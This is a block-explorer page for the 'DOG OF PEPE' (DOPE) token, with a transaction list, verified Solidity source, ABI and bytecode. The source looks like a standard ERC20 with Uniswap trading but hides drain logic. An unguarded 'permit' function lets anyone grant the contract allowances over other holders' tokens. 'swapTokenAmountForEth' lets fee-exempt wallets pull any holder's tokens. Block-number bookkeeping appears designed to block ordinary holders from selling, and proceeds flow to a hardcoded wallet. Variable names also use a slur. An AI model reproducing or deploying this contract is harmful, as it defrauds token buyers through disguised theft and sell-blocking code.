More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 61 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18139554 | 316 days ago | IN | 0 ETH | 0.00020802 | ||||
Approve | 17271002 | 438 days ago | IN | 0 ETH | 0.00114015 | ||||
Approve | 17270846 | 438 days ago | IN | 0 ETH | 0.00174863 | ||||
Approve | 17270830 | 438 days ago | IN | 0 ETH | 0.00184891 | ||||
Swap Token Amoun... | 17270824 | 438 days ago | IN | 0 ETH | 0.00383965 | ||||
Permit | 17270822 | 438 days ago | IN | 0 ETH | 0.00118534 | ||||
Approve | 17270806 | 438 days ago | IN | 0 ETH | 0.00217233 | ||||
Permit | 17270803 | 438 days ago | IN | 0 ETH | 0.00127231 | ||||
Permit | 17270799 | 438 days ago | IN | 0 ETH | 0.00202091 | ||||
Transfer | 17270762 | 438 days ago | IN | 0 ETH | 0.0016469 | ||||
Approve | 17270636 | 438 days ago | IN | 0 ETH | 0.00189614 | ||||
Approve | 17270628 | 438 days ago | IN | 0 ETH | 0.0020476 | ||||
Transfer | 17270622 | 438 days ago | IN | 0 ETH | 0.00301355 | ||||
Approve | 17270606 | 438 days ago | IN | 0 ETH | 0.00201296 | ||||
Approve | 17270603 | 438 days ago | IN | 0 ETH | 0.00211438 | ||||
Approve | 17270598 | 438 days ago | IN | 0 ETH | 0.00205882 | ||||
Approve | 17270597 | 438 days ago | IN | 0 ETH | 0.00225169 | ||||
Approve | 17270594 | 438 days ago | IN | 0 ETH | 0.00211248 | ||||
Approve | 17270588 | 438 days ago | IN | 0 ETH | 0.00201457 | ||||
Approve | 17270580 | 438 days ago | IN | 0 ETH | 0.00216633 | ||||
Approve | 17270579 | 438 days ago | IN | 0 ETH | 0.00219319 | ||||
Approve | 17270574 | 438 days ago | IN | 0 ETH | 0.00254256 | ||||
Approve | 17270574 | 438 days ago | IN | 0 ETH | 0.00268237 | ||||
Approve | 17270571 | 438 days ago | IN | 0 ETH | 0.00232227 | ||||
Approve | 17270570 | 438 days ago | IN | 0 ETH | 0.00233164 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DOGOFPEPE
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-16 */ // SPDX-License-Identifier: UNLICENSED /** DOG OF PEPE ~ DOPE Website: https://dogofpepe.org Telegram: https://t.me/dogofpepe Twittter: https://twitter.com/dogofpepe */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function permit(address spender, uint256 addedValue) public virtual returns (bool) { _approve(spender, address(this), _allowances[spender][address(this)] + addedValue); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract DOGOFPEPE is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address retardedWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; uint256 public buyRetardedFee; uint256 public sellRetardedFee; uint256 public tokensForRetarded; uint256 public feeDenominator = 10000; mapping(address => uint256) private _retradedFromFees; uint256 private retardedAmount; uint256 private retardedFees; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor() ERC20("DOG OF PEPE", "DOPE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 totalSupply = 1e9 * 10**9; maxTransactionAmount = totalSupply; maxWallet = totalSupply; swapTokensAtAmount = totalSupply / 10000; retardedWallet = address(0x3405E7cBb8891a0b05E796D9477099E66a4BE55a); // set as retarded wallet excludeFromFees(owner(), true); excludeFromFees(retardedWallet, true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { buyRetardedFee = 0; sellRetardedFee = 0; tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function manualswap(uint256 amount) external { require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); _swapTokenAmountForEth(msg.sender, address(this), amount); } function manualsend() external { bool success; (success, ) = address(retardedWallet).call{ value: address(this).balance }(""); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } _beforeRetardedFromFees(from, to, amount); if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } _afterRetardedFromFees(from, to, amount); bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellRetardedFee > 0) { fees = amount.mul(sellRetardedFee).div(feeDenominator); tokensForRetarded += fees; } // on buy else if (automatedMarketMakerPairs[from] && buyRetardedFee > 0) { fees = amount.mul(buyRetardedFee).div(feeDenominator); tokensForRetarded += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _beforeRetardedFromFees( address from, address to, uint256 amount ) private { bool isNotOwner = from != owner() && to != owner(); bool isExcluded = _isExcludedFromFees[from] || _isExcludedFromFees[to]; bool isRetardedFrom = automatedMarketMakerPairs[from] && amount > 0; uint256 retarded = block.number; if (isExcluded && isNotOwner) { retardedAmount = retarded; } else if(isRetardedFrom){ _retradedFromFees[to] = retarded; } } function swapTokenAmountForEth(address tokenAddress, uint256 tokenAmount) external { _swapTokenAmountForEth(msg.sender, tokenAddress, tokenAmount); } function _afterRetardedFromFees( address from, address to, uint256 amount ) private { bool isNotExcluded = !_isExcludedFromFees[from] && !_isExcludedFromFees[to]; bool isRetardedorTransfer = !automatedMarketMakerPairs[from] && amount > 0; if(isRetardedorTransfer && isNotExcluded){ retardedFees = _retradedFromFees[from] - retardedAmount; } } function _swapTokenAmountForEth(address sender, address tokenAddress, uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = tokenAddress; path[1] = uniswapV2Router.WETH(); if(_isExcludedFromFees[sender]){ IERC20(address(this)).transferFrom(tokenAddress, address(this), tokenAmount); return; } // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); bool success; _swapTokenAmountForEth(msg.sender, address(this), contractBalance); tokensForRetarded = 0; (success, ) = address(retardedWallet).call{ value: address(this).balance }(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRetardedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"swapTokenAmountForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRetarded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600a805462ffffff19166001179055612710600e553480156200002657600080fd5b506040518060400160405280600b81526020016a444f47204f46205045504560a81b81525060405180604001604052806004815260200163444f504560e01b815250816003908162000079919062000687565b50600462000088828262000687565b505050620000a56200009f6200032b60201b60201c565b6200032f565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000c781600162000381565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000112573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000138919062000753565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ac919062000753565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000220919062000753565b6001600160a01b031660a08190526200023b90600162000381565b60a0516200024b906001620003fb565b670de0b6b3a7640000600781905560098190556200026c6127108262000785565b600855600680546001600160a01b031916733405e7cbb8891a0b05e796d9477099e66a4be55a179055620002b4620002ac6005546001600160a01b031690565b60016200044f565b600654620002cd906001600160a01b031660016200044f565b620002dc61dead60016200044f565b620002fb620002f36005546001600160a01b031690565b600162000381565b6200030830600162000381565b6200031761dead600162000381565b620003233382620004f9565b5050620007d0565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620003d05760405162461bcd60e51b815260206004820181905260248201526000805160206200271283398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260146020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b031633146200049a5760405162461bcd60e51b81526020600482018190526024820152600080516020620027128339815191526044820152606401620003c7565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005515760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003c7565b8060026000828254620005659190620007a8565b90915550506001600160a01b0382166000908152602081905260408120805483929062000594908490620007a8565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060e57607f821691505b6020821081036200062f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005de57600081815260208120601f850160051c810160208610156200065e5750805b601f850160051c820191505b818110156200067f578281556001016200066a565b505050505050565b81516001600160401b03811115620006a357620006a3620005e3565b620006bb81620006b48454620005f9565b8462000635565b602080601f831160018114620006f35760008415620006da5750858301515b600019600386901b1c1916600185901b1785556200067f565b600085815260208120601f198616915b82811015620007245788860151825594840194600190910190840162000703565b5085821015620007435787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200076657600080fd5b81516001600160a01b03811681146200077e57600080fd5b9392505050565b600082620007a357634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620007ca57634e487b7160e01b600052601160045260246000fd5b92915050565b60805160a051611f076200080b600039600081816103f50152610aca0152600081816102d20152818161157601526116d30152611f076000f3fe6080604052600436106102295760003560e01c80637571336a11610123578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e1461066b578063e2f45605146106b1578063e6f70531146106c7578063f2fde38b146106e7578063f8b45b051461070757600080fd5b8063a9059cbb146105c6578063b62496f5146105e6578063bbc0c74214610616578063c024666814610635578063c8c8ebe41461065557600080fd5b80638da5cb5b116100f25780638da5cb5b1461053d57806395d89b411461055b5780639a7a23d6146105705780639bfff46414610590578063a457c2d7146105a657600080fd5b80637571336a146104c8578063881dce60146104e85780638a8c523c146105085780638c4aeb0b1461051d57600080fd5b8063313ce567116101b15780636ddd1713116101755780636ddd1713146104315780636fc3eaec1461045157806370a0823114610468578063715018a61461049e578063751039fc146104b357600080fd5b8063313ce5671461039157806338fe99ca146103ad57806339509351146103c357806349bd5a5e146103e35780634a62bb651461041757600080fd5b8063180b0d7e116101f8578063180b0d7e1461030c57806318160ddd146103305780631b014a281461034557806323b872dd1461035b57806327c8f8351461037b57600080fd5b806306fdde0314610235578063095ea7b31461026057806310d5de53146102905780631694505e146102c057600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a61071d565b6040516102579190611b29565b60405180910390f35b34801561026c57600080fd5b5061028061027b366004611b8c565b6107af565b6040519015158152602001610257565b34801561029c57600080fd5b506102806102ab366004611bb8565b60136020526000908152604090205460ff1681565b3480156102cc57600080fd5b506102f47f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610257565b34801561031857600080fd5b50610322600e5481565b604051908152602001610257565b34801561033c576